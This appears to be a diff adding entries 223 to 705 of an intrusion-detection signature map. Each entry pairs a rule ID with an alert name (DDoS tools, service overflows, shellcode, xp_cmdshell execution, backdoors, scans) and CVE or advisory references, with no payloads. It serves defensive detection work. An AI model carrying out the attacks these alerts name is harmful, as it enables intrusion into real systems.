+223 || DDOS Trin00 Daemon to Master PONG message detected || arachnids,187
+224 || DDOS Stacheldraht server spoof || arachnids,193
+225 || DDOS Stacheldraht gag server response || arachnids,195
+226 || DDOS Stacheldraht server response || arachnids,191
+227 || DDOS Stacheldraht client spoofworks || arachnids,192
+228 || DDOS TFN client command BE || arachnids,184
+229 || DDOS Stacheldraht client check skillz || arachnids,190
+230 || DDOS shaft client login to handler || arachnids,254 || url,security.royans.net/info/posts/bugtraq_ddos3.shtml
+231 || DDOS Trin00 Daemon to Master message detected || arachnids,186
+232 || DDOS Trin00 Daemon to Master *HELLO* message detected || arachnids,185 || url,www.sans.org/newlook/resources/IDFAQ/trinoo.htm
+233 || DDOS Trin00 Attacker to Master default startup password || arachnids,197
+234 || DDOS Trin00 Attacker to Master default password
+235 || DDOS Trin00 Attacker to Master default mdie password
+236 || DDOS Stacheldraht client check gag || arachnids,194
+237 || DDOS Trin00 Master to Daemon default password attempt || arachnids,197
+238 || DDOS TFN server response || arachnids,182
+239 || DDOS shaft handler to agent || arachnids,255
+240 || DDOS shaft agent to handler || arachnids,256
+241 || DDOS shaft synflood || arachnids,253 || cve,2000-0138
+243 || DDOS mstream agent to handler
+244 || DDOS mstream handler to agent || cve,2000-0138
+245 || DDOS mstream handler ping to agent || cve,2000-0138
+246 || DDOS mstream agent pong to handler
+247 || DDOS mstream client to handler || cve,2000-0138
+248 || DDOS mstream handler to client || cve,2000-0138
+249 || DDOS mstream client to handler || arachnids,111 || cve,2000-0138
+250 || DDOS mstream handler to client || cve,2000-0138
+251 || DDOS - TFN client command LE || arachnids,183
+252 || DNS named iquery attempt || arachnids,277 || bugtraq,134 || cve,1999-0009 || url,www.rfc-editor.org/rfc/rfc1035.txt
+253 || DNS SPOOF query response PTR with TTL of 1 min. and no authority
+254 || DNS SPOOF query response with TTL of 1 min. and no authority
+255 || DNS zone transfer TCP || arachnids,212 || cve,1999-0532 || nessus,10595
+256 || DNS named authors attempt || arachnids,480 || nessus,10728
+257 || DNS named version attempt || arachnids,278 || nessus,10028
+258 || DNS EXPLOIT named 8.2->8.2.1 || bugtraq,788 || cve,1999-0833
+259 || DNS EXPLOIT named overflow ADM || bugtraq,788 || cve,1999-0833
+260 || DNS EXPLOIT named overflow ADMROCKS || bugtraq,788 || cve,1999-0833 || url,www.cert.org/advisories/CA-1999-14.html
+261 || DNS EXPLOIT named overflow attempt || url,www.cert.org/advisories/CA-1998-05.html
+262 || DNS EXPLOIT x86 Linux overflow attempt
+264 || DNS EXPLOIT x86 Linux overflow attempt
+265 || DNS EXPLOIT x86 Linux overflow attempt ADMv2
+266 || DNS EXPLOIT x86 FreeBSD overflow attempt
+267 || DNS EXPLOIT sparc overflow attempt
+268 || DOS Jolt attack || cve,1999-0345
+269 || DOS Land attack || bugtraq,2666 || cve,1999-0016
+270 || DOS Teardrop attack || bugtraq,124 || cve,1999-0015 || nessus,10279 || url,www.cert.org/advisories/CA-1997-28.html
+271 || DOS UDP echo+chargen bomb || cve,1999-0103 || cve,1999-0635
+272 || DOS IGMP dos attack || bugtraq,514 || cve,1999-0918 || url,www.microsoft.com/technet/security/bulletin/MS99-034.mspx
+273 || DOS IGMP dos attack || bugtraq,514 || cve,1999-0918
+274 || DOS ath || arachnids,264 || cve,1999-1228
+275 || DOS NAPTHA || bugtraq,2022 || cve,2000-1039 || url,razor.bindview.com/publish/advisories/adv_NAPTHA.html || url,www.cert.org/advisories/CA-2000-21.html || url,www.microsoft.com/technet/security/bulletin/MS00-091.mspx
+276 || DOS Real Audio Server || arachnids,411 || bugtraq,1288 || cve,2000-0474
+277 || DOS Real Server template.html || bugtraq,1288 || cve,2000-0474
+278 || DOS Real Server template.html || bugtraq,1288 || cve,2000-0474
+279 || DOS Bay/Nortel Nautica Marlin || bugtraq,1009 || cve,2000-0221
+281 || DOS Ascend Route || arachnids,262 || bugtraq,714 || cve,1999-0060
+282 || DOS arkiea backup || arachnids,261 || bugtraq,662 || cve,1999-0788
+283 || EXPLOIT Netscape 4.7 client overflow || arachnids,215 || bugtraq,822 || cve,1999-1189 || cve,2000-1187
+284 || POP2 x86 Linux overflow || bugtraq,283 || cve,1999-0920 || nessus,10130
+285 || POP2 x86 Linux overflow || bugtraq,283 || cve,1999-0920 || nessus,10130
+286 || POP3 EXPLOIT x86 BSD overflow || bugtraq,133 || cve,1999-0006 || nessus,10196
+287 || POP3 EXPLOIT x86 BSD overflow
+288 || POP3 EXPLOIT x86 Linux overflow
+289 || POP3 EXPLOIT x86 SCO overflow || bugtraq,156 || cve,1999-0006
+290 || POP3 EXPLOIT qpopper overflow || bugtraq,830 || cve,1999-0822 || nessus,10184
+291 || NNTP Cassandra Overflow || arachnids,274 || bugtraq,1156 || cve,2000-0341
+292 || EXPLOIT x86 Linux samba overflow || bugtraq,1816 || bugtraq,536 || cve,1999-0182 || cve,1999-0811
+293 || IMAP EXPLOIT overflow
+295 || IMAP EXPLOIT x86 linux overflow || bugtraq,130 || cve,1999-0005
+296 || IMAP EXPLOIT x86 linux overflow || bugtraq,130 || cve,1999-0005
+297 || IMAP EXPLOIT x86 linux overflow || bugtraq,130 || cve,1999-0005
+298 || IMAP EXPLOIT x86 linux overflow || bugtraq,130 || cve,1999-0005
+299 || IMAP EXPLOIT x86 linux overflow || bugtraq,130 || cve,1999-0005
+300 || EXPLOIT nlps x86 Solaris overflow || bugtraq,2319
+301 || EXPLOIT LPRng overflow || bugtraq,1712 || cve,2000-0917
+302 || EXPLOIT Redhat 7.0 lprd overflow || bugtraq,1712 || cve,2000-0917
+303 || DNS EXPLOIT named tsig overflow attempt || arachnids,482 || bugtraq,2302 || cve,2001-0010
+304 || EXPLOIT SCO calserver overflow || bugtraq,2353 || cve,2000-0306
+305 || EXPLOIT delegate proxy overflow || arachnids,267 || bugtraq,808 || cve,2000-0165
+306 || EXPLOIT VQServer admin || bugtraq,1610 || cve,2000-0766 || url,www.vqsoft.com/vq/server/docs/other/control.html
+307 || EXPLOIT CHAT IRC topic overflow || bugtraq,573 || cve,1999-0672
+308 || EXPLOIT NextFTP client overflow || bugtraq,572 || cve,1999-0671
+309 || EXPLOIT sniffit overflow || arachnids,273 || bugtraq,1158 || cve,2000-0343
+310 || EXPLOIT x86 windows MailMax overflow || bugtraq,2312 || cve,1999-0404
+311 || EXPLOIT Netscape 4.7 unsucessful overflow || arachnids,214 || bugtraq,822 || cve,1999-1189 || cve,2000-1187
+312 || EXPLOIT ntpdx overflow attempt || arachnids,492 || bugtraq,2540 || cve,2001-0414
+313 || EXPLOIT ntalkd x86 Linux overflow || bugtraq,210
+314 || DNS EXPLOIT named tsig overflow attempt || bugtraq,2303 || cve,2001-0010
+315 || EXPLOIT x86 Linux mountd overflow || bugtraq,121 || cve,1999-0002
+316 || EXPLOIT x86 Linux mountd overflow || bugtraq,121 || cve,1999-0002
+317 || EXPLOIT x86 Linux mountd overflow || bugtraq,121 || cve,1999-0002
+318 || EXPLOIT bootp x86 bsd overfow || bugtraq,324 || cve,1999-0914
+319 || EXPLOIT bootp x86 linux overflow || cve,1999-0389 || cve,1999-0798 || cve,1999-0799
+320 || FINGER cmd_rootsh backdoor attempt || nessus,10070 || url,www.sans.org/y2k/TFN_toolkit.htm || url,www.sans.org/y2k/fingerd.htm
+321 || FINGER account enumeration attempt || nessus,10788
+322 || FINGER search query || arachnids,375 || cve,1999-0259
+323 || FINGER root query || arachnids,376
+324 || FINGER null request || arachnids,377
+325 || FINGER probe 0 attempt || arachnids,378
+326 || FINGER remote command execution attempt || arachnids,379 || bugtraq,974 || cve,1999-0150
+327 || FINGER remote command pipe execution attempt || arachnids,380 || bugtraq,2220 || cve,1999-0152
+328 || FINGER bomb attempt || arachnids,381 || cve,1999-0106
+329 || FINGER cybercop redirection || arachnids,11
+330 || FINGER redirection attempt || arachnids,251 || cve,1999-0105 || nessus,10073
+331 || FINGER cybercop query || arachnids,132 || cve,1999-0612
+332 || FINGER 0 query || arachnids,131 || arachnids,378 || cve,1999-0197 || nessus,10069
+333 || FINGER . query || arachnids,130 || cve,1999-0198 || nessus,10072
+334 || FTP .forward || arachnids,319
+335 || FTP .rhosts || arachnids,328
+336 || FTP CWD ~root attempt || arachnids,318 || cve,1999-0082
+337 || FTP CEL overflow attempt || arachnids,257 || bugtraq,679 || cve,1999-0789 || nessus,10009
+338 || FTP EXPLOIT format string || arachnids,453 || bugtraq,1387 || cve,2000-0573
+339 || FTP EXPLOIT OpenBSD x86 ftpd || arachnids,446 || bugtraq,2124 || cve,2001-0053
+340 || FTP EXPLOIT overflow
+341 || FTP EXPLOIT overflow
+342 || FTP EXPLOIT wu-ftpd 2.6.0 site exec format string overflow Solaris 2.8 || arachnids,451 || bugtraq,1387 || cve,2000-0573
+343 || FTP EXPLOIT wu-ftpd 2.6.0 site exec format string overflow FreeBSD || arachnids,228 || bugtraq,1387 || cve,2000-0573
+344 || FTP EXPLOIT wu-ftpd 2.6.0 site exec format string overflow Linux || arachnids,287 || bugtraq,1387 || cve,2000-0573
+345 || FTP EXPLOIT wu-ftpd 2.6.0 site exec format string overflow generic || arachnids,285 || bugtraq,1387 || cve,2000-0573 || nessus,10452
+346 || FTP EXPLOIT wu-ftpd 2.6.0 site exec format string check || arachnids,286 || bugtraq,1387 || cve,2000-0573
+348 || FTP EXPLOIT wu-ftpd 2.6.0 || arachnids,440 || bugtraq,1387
+349 || FTP EXPLOIT MKD overflow || bugtraq,113 || bugtraq,2242 || cve,1999-0368
+350 || FTP EXPLOIT x86 linux overflow || bugtraq,113 || bugtraq,2242 || cve,1999-0368
+351 || FTP EXPLOIT x86 linux overflow || bugtraq,113 || bugtraq,2242 || cve,1999-0368
+352 || FTP EXPLOIT x86 linux overflow || bugtraq,113 || cve,1999-0368
+353 || FTP adm scan || arachnids,332
+354 || FTP iss scan || arachnids,331
+355 || FTP pass wh00t || arachnids,324
+356 || FTP passwd retrieval attempt || arachnids,213
+357 || FTP piss scan
+358 || FTP saint scan || arachnids,330
+359 || FTP satan scan || arachnids,329
+360 || FTP serv-u directory transversal || bugtraq,2052 || cve,2001-0054
+361 || FTP SITE EXEC attempt || arachnids,317 || bugtraq,2241 || cve,1999-0080 || cve,1999-0955
+362 || FTP tar parameters || arachnids,134 || bugtraq,2240 || cve,1999-0202 || cve,1999-0997
+363 || ICMP IRDP router advertisement || arachnids,173 || bugtraq,578 || cve,1999-0875
+364 || ICMP IRDP router selection || arachnids,174 || bugtraq,578 || cve,1999-0875
+365 || ICMP PING undefined code
+366 || ICMP PING *NIX
+368 || ICMP PING BSDtype || arachnids,152
+369 || ICMP PING BayRS Router || arachnids,438 || arachnids,444
+370 || ICMP PING BeOS4.x || arachnids,151
+371 || ICMP PING Cisco Type.x || arachnids,153
+372 || ICMP PING Delphi-Piette Windows || arachnids,155
+373 || ICMP PING Flowpoint2200 or Network Management Software || arachnids,156
+374 || ICMP PING IP NetMonitor Macintosh || arachnids,157
+375 || ICMP PING LINUX/*BSD || arachnids,447
+376 || ICMP PING Microsoft Windows || arachnids,159
+377 || ICMP PING Network Toolbox 3 Windows || arachnids,161
+378 || ICMP PING Ping-O-MeterWindows || arachnids,164
+379 || ICMP PING Pinger Windows || arachnids,163
+380 || ICMP PING Seer Windows || arachnids,166
+381 || ICMP PING Sun Solaris || arachnids,448
+382 || ICMP PING Windows || arachnids,169
+384 || ICMP PING
+385 || ICMP traceroute || arachnids,118
+386 || ICMP Address Mask Reply
+387 || ICMP Address Mask Reply undefined code
+388 || ICMP Address Mask Request
+389 || ICMP Address Mask Request undefined code
+390 || ICMP Alternate Host Address
+391 || ICMP Alternate Host Address undefined code
+392 || ICMP Datagram Conversion Error
+393 || ICMP Datagram Conversion Error undefined code
+394 || ICMP Destination Unreachable Destination Host Unknown
+395 || ICMP Destination Unreachable Destination Network Unknown
+396 || ICMP Destination Unreachable Fragmentation Needed and DF bit was set
+397 || ICMP Destination Unreachable Host Precedence Violation
+398 || ICMP Destination Unreachable Host Unreachable for Type of Service
+399 || ICMP Destination Unreachable Host Unreachable
+400 || ICMP Destination Unreachable Network Unreachable for Type of Service
+401 || ICMP Destination Unreachable Network Unreachable
+402 || ICMP Destination Unreachable Port Unreachable
+403 || ICMP Destination Unreachable Precedence Cutoff in effect
+404 || ICMP Destination Unreachable Protocol Unreachable
+405 || ICMP Destination Unreachable Source Host Isolated
+406 || ICMP Destination Unreachable Source Route Failed
+407 || ICMP Destination Unreachable cndefined code
+408 || ICMP Echo Reply
+409 || ICMP Echo Reply undefined code
+410 || ICMP Fragment Reassembly Time Exceeded
+411 || ICMP IPV6 I-Am-Here
+412 || ICMP IPV6 I-Am-Here undefined code
+413 || ICMP IPV6 Where-Are-You
+414 || ICMP IPV6 Where-Are-You undefined code
+415 || ICMP Information Reply
+416 || ICMP Information Reply undefined code
+417 || ICMP Information Request
+418 || ICMP Information Request undefined code
+419 || ICMP Mobile Host Redirect
+420 || ICMP Mobile Host Redirect undefined code
+421 || ICMP Mobile Registration Reply
+422 || ICMP Mobile Registration Reply undefined code
+423 || ICMP Mobile Registration Request
+424 || ICMP Mobile Registration Request undefined code
+425 || ICMP Parameter Problem Bad Length
+426 || ICMP Parameter Problem Missing a Required Option
+427 || ICMP Parameter Problem Unspecified Error
+428 || ICMP Parameter Problem undefined Code
+429 || ICMP Photuris Reserved
+430 || ICMP Photuris Unknown Security Parameters Index
+431 || ICMP Photuris Valid Security Parameters, But Authentication Failed
+432 || ICMP Photuris Valid Security Parameters, But Decryption Failed
+433 || ICMP Photuris undefined code!
+436 || ICMP Redirect for TOS and Host
+437 || ICMP Redirect for TOS and Network
+438 || ICMP Redirect undefined code
+439 || ICMP Reserved for Security Type 19
+440 || ICMP Reserved for Security Type 19 undefined code
+441 || ICMP Router Advertisement || arachnids,173
+443 || ICMP Router Selection || arachnids,174
+445 || ICMP SKIP
+446 || ICMP SKIP undefined code
+448 || ICMP Source Quench undefined code
+449 || ICMP Time-To-Live Exceeded in Transit
+450 || ICMP Time-To-Live Exceeded in Transit undefined code
+451 || ICMP Timestamp Reply
+452 || ICMP Timestamp Reply undefined code
+453 || ICMP Timestamp Request
+454 || ICMP Timestamp Request undefined code
+455 || ICMP Traceroute ipopts || arachnids,238
+456 || ICMP Traceroute
+457 || ICMP Traceroute undefined code
+458 || ICMP unassigned type 1
+459 || ICMP unassigned type 1 undefined code
+460 || ICMP unassigned type 2
+461 || ICMP unassigned type 2 undefined code
+462 || ICMP unassigned type 7
+463 || ICMP unassigned type 7 undefined code
+465 || ICMP ISS Pinger || arachnids,158
+466 || ICMP L3retriever Ping || arachnids,311
+467 || ICMP Nemesis v1.1 Echo || arachnids,449
+469 || ICMP PING NMAP || arachnids,162
+471 || ICMP icmpenum v1.1.1 || arachnids,450
+472 || ICMP redirect host || arachnids,135 || cve,1999-0265
+473 || ICMP redirect net || arachnids,199 || cve,1999-0265
+474 || ICMP superscan echo
+475 || ICMP traceroute ipopts || arachnids,238
+476 || ICMP webtrends scanner || arachnids,307
+477 || ICMP Source Quench
+478 || ICMP Broadscan Smurf Scanner
+480 || ICMP PING speedera
+481 || ICMP TJPingPro1.1Build 2 Windows || arachnids,167
+482 || ICMP PING WhatsupGold Windows || arachnids,168
+483 || ICMP PING CyberKit 2.2 Windows || arachnids,154
+484 || ICMP PING Sniffer Pro/NetXRay network scan
+485 || ICMP Destination Unreachable Communication Administratively Prohibited
+486 || ICMP Destination Unreachable Communication with Destination Host is Administratively Prohibited
+487 || ICMP Destination Unreachable Communication with Destination Network is Administratively Prohibited
+488 || INFO Connection Closed MSG from Port 80
+489 || INFO FTP no password || arachnids,322
+490 || INFO battle-mail traffic
+491 || INFO FTP Bad login
+492 || INFO TELNET login failed
+493 || INFO psyBNC access
+494 || ATTACK-RESPONSES command completed || bugtraq,1806
+495 || ATTACK-RESPONSES command error
+496 || ATTACK RESPONSES directory listing
+497 || ATTACK-RESPONSES file copied ok || bugtraq,1806 || cve,2000-0884
+498 || ATTACK-RESPONSES id check returned root
+499 || ICMP Large ICMP Packet || arachnids,246
+500 || MISC source route lssr || arachnids,418 || bugtraq,646 || cve,1999-0909 || url,www.microsoft.com/technet/security/bulletin/MS99-038.mspx
+501 || MISC source route lssre || arachnids,420 || bugtraq,646 || cve,1999-0909 || url,www.microsoft.com/technet/security/bulletin/MS99-038.mspx
+502 || MISC source route ssrr || arachnids,422
+503 || MISC Source Port 20 to <1024 || arachnids,06
+504 || MISC source port 53 to <1024 || arachnids,07
+505 || MISC Insecure TIMBUKTU Password || arachnids,229
+506 || MISC ramen worm incoming || arachnids,460
+507 || MISC PCAnywhere Attempted Administrator Login
+508 || MISC gopher proxy || arachnids,409
+509 || WEB-MISC PCCS mysql database admin tool access || arachnids,300 || bugtraq,1557 || cve,2000-0707 || nessus,10783
+510 || POLICY HP JetDirect LCD modification attempt || arachnids,302 || bugtraq,2245
+511 || MISC Invalid PCAnywhere Login
+512 || MISC PCAnywhere Failed Login || arachnids,240
+513 || MISC Cisco Catalyst Remote Access || arachnids,129 || bugtraq,705 || cve,1999-0430
+514 || MISC ramen worm || arachnids,461
+516 || MISC SNMP NT UserList || nessus,10546
+517 || MISC xdmcp query || arachnids,476
+518 || TFTP Put || arachnids,148 || cve,1999-0183
+519 || TFTP parent directory || arachnids,137 || cve,1999-0183 || cve,2002-1209
+520 || TFTP root directory || arachnids,138 || cve,1999-0183
+521 || MISC Large UDP Packet || arachnids,247
+522 || MISC Tiny Fragments
+523 || BAD-TRAFFIC ip reserved bit set
+524 || BAD-TRAFFIC tcp port 0 traffic
+525 || BAD-TRAFFIC udp port 0 traffic || bugtraq,576 || cve,1999-0675 || nessus,10074
+526 || BAD-TRAFFIC data in TCP SYN packet || url,www.cert.org/incident_notes/IN-99-07.html
+527 || BAD-TRAFFIC same SRC/DST || bugtraq,2666 || cve,1999-0016 || url,www.cert.org/advisories/CA-1997-28.html
+528 || BAD-TRAFFIC loopback traffic || url,rr.sans.org/firewall/egress.php
+529 || NETBIOS DOS RFPoison || arachnids,454
+530 || NETBIOS NT NULL session || arachnids,204 || bugtraq,1163 || cve,2000-0347
+532 || NETBIOS SMB ADMIN$ share access
+533 || NETBIOS SMB C$ share access
+534 || NETBIOS SMB CD.. || arachnids,338
+535 || NETBIOS SMB CD... || arachnids,337
+536 || NETBIOS SMB D$ share access
+537 || NETBIOS SMB IPC$ share access
+538 || NETBIOS SMB IPC$ unicode share access
+539 || NETBIOS Samba clientaccess || arachnids,341
+540 || CHAT MSN message
+541 || CHAT ICQ access
+542 || CHAT IRC nick change
+543 || POLICY FTP 'STOR 1MB' possible warez site
+544 || POLICY FTP 'RETR 1MB' possible warez site
+545 || POLICY FTP 'CWD / ' possible warez site
+546 || POLICY FTP 'CWD  ' possible warez site
+547 || POLICY FTP 'MKD  ' possible warez site
+548 || POLICY FTP 'MKD .' possible warez site
+549 || P2P napster login
+550 || P2P napster new user login
+551 || P2P napster download attempt
+552 || P2P napster upload request
+553 || POLICY FTP anonymous login attempt
+554 || POLICY FTP 'MKD / ' possible warez site
+555 || POLICY WinGate telnet server response || arachnids,366 || cve,1999-0657
+556 || P2P Outbound GNUTella client request
+557 || P2P GNUTella client request
+558 || INFO Outbound GNUTella client request
+559 || P2P Inbound GNUTella client request
+560 || POLICY VNC server response
+561 || P2P Napster Client Data
+562 || P2P Napster Client Data
+563 || P2P Napster Client Data
+564 || P2P Napster Client Data
+565 || P2P Napster Server Login
+566 || POLICY PCAnywhere server response || arachnids,239
+567 || POLICY SMTP relaying denied || arachnids,249 || url,mail-abuse.org/tsi/ar-fix.html
+568 || POLICY HP JetDirect LCD modification attempt || arachnids,302 || bugtraq,2245
+569 || RPC snmpXdmi overflow attempt TCP || bugtraq,2417 || cve,2001-0236 || url,www.cert.org/advisories/CA-2001-05.html
+570 || RPC EXPLOIT ttdbserv solaris overflow || arachnids,242 || bugtraq,122 || cve,1999-0003 || url,www.cert.org/advisories/CA-2001-27.html
+571 || RPC EXPLOIT ttdbserv Solaris overflow || arachnids,242 || bugtraq,122 || cve,1999-0003 || url,www.cert.org/advisories/CA-2001-27.html
+572 || RPC DOS ttdbserv Solaris || arachnids,241 || bugtraq,122 || cve,1999-0003
+573 || RPC AMD Overflow || arachnids,217 || cve,1999-0704
+574 || RPC mountd TCP export request || arachnids,26
+575 || RPC portmap admind request UDP || arachnids,18
+576 || RPC portmap amountd request UDP || arachnids,19
+577 || RPC portmap bootparam request UDP || arachnids,16 || cve,1999-0647
+578 || RPC portmap cmsd request UDP || arachnids,17
+579 || RPC portmap mountd request UDP || arachnids,13
+580 || RPC portmap nisd request UDP || arachnids,21
+581 || RPC portmap pcnfsd request UDP || arachnids,22
+582 || RPC portmap rexd request UDP || arachnids,23
+583 || RPC portmap rstatd request UDP || arachnids,10
+584 || RPC portmap rusers request UDP || arachnids,133 || cve,1999-0626
+585 || RPC portmap sadmind request UDP || arachnids,20
+586 || RPC portmap selection_svc request UDP || arachnids,25
+587 || RPC portmap status request UDP || arachnids,15
+588 || RPC portmap ttdbserv request UDP || arachnids,24 || bugtraq,122 || bugtraq,3382 || cve,1999-0003 || cve,1999-0687 || cve,1999-1075 || cve,2001-0717 || url,www.cert.org/advisories/CA-2001-05.html
+589 || RPC portmap yppasswd request UDP || arachnids,14
+590 || RPC portmap ypserv request UDP || arachnids,12 || bugtraq,5914 || bugtraq,6016 || cve,2000-1042 || cve,2000-1043 || cve,2002-1232
+591 || RPC portmap ypupdated request TCP || arachnids,125
+592 || RPC rstatd query || arachnids,9
+593 || RPC portmap snmpXdmi request TCP || bugtraq,2417 || cve,2001-0236 || url,www.cert.org/advisories/CA-2001-05.html
+595 || RPC portmap espd request TCP || bugtraq,2714 || cve,2001-0331
+596 || RPC portmap listing || arachnids,429
+597 || RPC portmap listing || arachnids,429
+598 || RPC portmap listing TCP 111 || arachnids,428
+599 || RPC portmap listing TCP 32771 || arachnids,429
+600 || RPC EXPLOIT statdx || arachnids,442
+601 || RSERVICES rlogin LinuxNIS
+602 || RSERVICES rlogin bin || arachnids,384
+603 || RSERVICES rlogin echo++ || arachnids,385
+604 || RSERVICES rsh froot || arachnids,387
+605 || RSERVICES rlogin login failure || arachnids,393
+606 || RSERVICES rlogin root || arachnids,389
+607 || RSERVICES rsh bin || arachnids,390
+608 || RSERVICES rsh echo + + || arachnids,388
+609 || RSERVICES rsh froot || arachnids,387
+610 || RSERVICES rsh root || arachnids,391
+611 || RSERVICES rlogin login failure || arachnids,392
+612 || RPC rusers query UDP || cve,1999-0626
+613 || SCAN myscan || arachnids,439
+614 || BACKDOOR hack-a-tack attempt || arachnids,314
+615 || SCAN SOCKS Proxy attempt || url,help.undernet.org/proxyscan/
+616 || SCAN ident version request || arachnids,303
+617 || SCAN ssh-research-scanner
+618 || SCAN Squid Proxy attempt
+619 || SCAN cybercop os probe || arachnids,146
+620 || SCAN Proxy Port 8080 attempt
+621 || SCAN FIN || arachnids,27
+622 || SCAN ipEye SYN scan || arachnids,236
+623 || SCAN NULL || arachnids,4
+624 || SCAN SYN FIN || arachnids,198
+625 || SCAN XMAS || arachnids,144
+626 || SCAN cybercop os PA12 attempt || arachnids,149
+627 || SCAN cybercop os SFU12 probe || arachnids,150
+628 || SCAN nmap TCP || arachnids,28
+629 || SCAN nmap fingerprint attempt || arachnids,05
+630 || SCAN synscan portscan || arachnids,441
+631 || SMTP ehlo cybercop attempt || arachnids,372
+632 || SMTP expn cybercop attempt || arachnids,371
+634 || SCAN Amanda client version request
+635 || SCAN XTACACS logout || arachnids,408
+636 || SCAN cybercop udp bomb || arachnids,363
+637 || SCAN Webtrends Scanner UDP Probe || arachnids,308
+638 || SHELLCODE SGI NOOP || arachnids,356
+639 || SHELLCODE SGI NOOP || arachnids,357
+640 || SHELLCODE AIX NOOP
+641 || SHELLCODE Digital UNIX NOOP || arachnids,352
+642 || SHELLCODE HP-UX NOOP || arachnids,358
+643 || SHELLCODE HP-UX NOOP || arachnids,359
+644 || SHELLCODE sparc NOOP || arachnids,345
+645 || SHELLCODE sparc NOOP || arachnids,353
+646 || SHELLCODE sparc NOOP || arachnids,355
+647 || SHELLCODE sparc setuid 0 || arachnids,282
+648 || SHELLCODE x86 NOOP || arachnids,181
+649 || SHELLCODE x86 setgid 0 || arachnids,284
+650 || SHELLCODE x86 setuid 0 || arachnids,436
+651 || SHELLCODE x86 stealth NOOP || arachnids,291
+652 || SHELLCODE Linux shellcode || arachnids,343
+653 || SHELLCODE x86 0x90 unicode NOOP
+654 || SMTP RCPT TO overflow || bugtraq,2283 || bugtraq,9696 || cve,2001-0260
+655 || SMTP sendmail 8.6.9 exploit || arachnids,140 || bugtraq,2311 || cve,1999-0204
+656 || SMTP EXPLOIT x86 windows CSMMail overflow || bugtraq,895 || cve,2000-0042
+657 || SMTP chameleon overflow || arachnids,266 || bugtraq,2387 || cve,1999-0261
+658 || SMTP exchange mime DOS || bugtraq,1869 || cve,2000-1006 || nessus,10558 || url,www.microsoft.com/technet/security/bulletin/MS00-082.mspx
+659 || SMTP expn decode || arachnids,32 || cve,1999-0096 || nessus,10248
+660 || SMTP expn root || arachnids,31 || cve,1999-0531 || nessus,10249
+661 || SMTP majordomo ifs || arachnids,143 || bugtraq,2310 || cve,1999-0207
+662 || SMTP sendmail 5.5.5 exploit || arachnids,119 || cve,1999-0203 || nessus,10258
+663 || SMTP rcpt to command attempt || arachnids,172 || bugtraq,1 || cve,1999-0095
+664 || SMTP RCPT TO decode attempt || arachnids,121 || bugtraq,2308 || cve,1999-0203
+665 || SMTP sendmail 5.6.5 exploit || arachnids,122 || bugtraq,2308 || cve,1999-0203
+666 || SMTP sendmail 8.4.1 exploit || arachnids,120
+667 || SMTP sendmail 8.6.10 exploit || arachnids,123 || bugtraq,2311 || cve,1999-0204
+668 || SMTP sendmail 8.6.10 exploit || arachnids,124 || bugtraq,2311 || cve,1999-0204
+669 || SMTP sendmail 8.6.9 exploit || arachnids,142 || bugtraq,2311 || cve,1999-0204
+670 || SMTP sendmail 8.6.9 exploit || arachnids,139 || bugtraq,2311 || cve,1999-0204
+671 || SMTP sendmail 8.6.9c exploit || arachnids,141 || bugtraq,2311 || cve,1999-0204
+672 || SMTP vrfy decode || arachnids,373 || bugtraq,10248 || cve,1999-0096
+673 || MS-SQL sp_start_job - program execution
+674 || MS-SQL xp_displayparamstmt possible buffer overflow || bugtraq,2030 || cve,2000-1081 || url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx
+675 || MS-SQL xp_setsqlsecurity possible buffer overflow || bugtraq,2043 || cve,2000-1088 || url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx
+676 || MS-SQL/SMB sp_start_job - program execution
+677 || MS-SQL/SMB sp_password password change
+678 || MS-SQL/SMB sp_delete_alert log file deletion
+679 || MS-SQL/SMB sp_adduser database user creation
+680 || MS-SQL/SMB sa login failed || bugtraq,4797 || cve,2000-1209
+681 || MS-SQL/SMB xp_cmdshell program execution
+682 || MS-SQL xp_enumresultset possible buffer overflow || bugtraq,2031 || cve,2000-1082 || url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx
+683 || MS-SQL sp_password - password change
+684 || MS-SQL sp_delete_alert log file deletion
+685 || MS-SQL sp_adduser - database user creation
+686 || MS-SQL xp_reg* - registry access || bugtraq,5205 || cve,2002-0642 || nessus,10642 || url,www.microsoft.com/technet/security/bulletin/MS02-034
+687 || MS-SQL xp_cmdshell - program execution
+688 || MS-SQL sa login failed || bugtraq,4797 || cve,2000-1209 || nessus,10673
+689 || MS-SQL/SMB xp_reg* registry access || bugtraq,5205 || cve,2002-0642 || nessus,10642 || url,www.microsoft.com/technet/security/bulletin/MS02-034
+690 || MS-SQL/SMB xp_printstatements possible buffer overflow || bugtraq,2041 || cve,2000-1086 || url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx
+691 || MS-SQL shellcode attempt
+692 || MS-SQL/SMB shellcode attempt
+693 || MS-SQL shellcode attempt
+694 || MS-SQL/SMB shellcode attempt
+695 || MS-SQL/SMB xp_sprintf possible buffer overflow || bugtraq,1204 || url,www.microsoft.com/technet/security/bulletin/MS01-060.mspx
+696 || MS-SQL/SMB xp_showcolv possible buffer overflow || bugtraq,2038 || cve,2000-1083 || url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx
+697 || MS-SQL/SMB xp_peekqueue possible buffer overflow || bugtraq,2040 || cve,2000-1085 || url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx
+698 || MS-SQL/SMB xp_proxiedmetadata possible buffer overflow || bugtraq,2042 || cve,2000-1087 || url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx
+699 || MS-SQL xp_printstatements possible buffer overflow || bugtraq,2041 || cve,2000-1086 || url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx
+700 || MS-SQL/SMB xp_updatecolvbm possible buffer overflow || bugtraq,2039 || cve,2000-1084 || url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx
+701 || MS-SQL xp_updatecolvbm possible buffer overflow || bugtraq,2039 || cve,2000-1084 || url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx
+702 || MS-SQL/SMB xp_displayparamstmt possible buffer overflow || bugtraq,2030 || cve,2000-1081 || url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx
+703 || MS-SQL/SMB xp_setsqlsecurity possible buffer overflow || bugtraq,2043 || cve,2000-1088 || url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx
+704 || MS-SQL xp_sprintf possible buffer overflow || bugtraq,1204 || cve,2001-0542 || url,www.microsoft.com/technet/security/bulletin/MS01-060.mspx
+705 || MS-SQL xp_showcolv possible buffer overflow || bugtraq,2038 || cve,2000-1083 || url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx
